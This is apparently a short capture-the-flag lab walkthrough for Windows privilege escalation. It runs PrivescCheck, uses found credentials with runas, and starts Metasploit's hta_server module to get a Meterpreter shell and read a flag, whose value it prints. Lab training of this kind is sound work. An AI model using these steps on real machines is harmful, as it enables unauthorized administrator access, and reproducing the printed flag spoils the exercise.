Windows Privscheck
Windows Privscheck
URL https://attackdefense.com/challengedetails?cid=2404
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
PrivescCheck:
“Privilege Escalation Enumeration Script for Windows. It also gathers various information that
might be useful for exploitation and/or post-exploitation.”
Source: https://github.com/itm4n/PrivescCheck
Commands: cd C:\Users\student\Desktop\PrivescCheck
ls
Step 4: Running PrivescCheck.ps1 script.
Step 5: We are running a command prompt i.e cmd.exe as an administrator user using
discovered credential and runas.exe
Step 6: Running the hta_server module to gain the meterpreter shell. Start msfconsole.
Commands:
msfconsole -q
use exploit/windows/misc/hta_server
exploit
“This module hosts an HTML Application (HTA) that when opened will run a payload via
Powershell..”
Commands:
Note: You need to use your own Metasploit HTA server link
Commands:
sessions -i 1
cd C:\\Users\\Administrator\\Desktop
dir
cat flag.txt
This reveals the flag to us.
Flag: 2b070a650a92129c2462deae7707b0c5
References
1. Metasploit (https://www.metasploit.com/)
2. HTA Web Server (https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server)
3. Privilege Escalation Enumeration Script for Windows
(https://github.com/itm4n/PrivescCheck)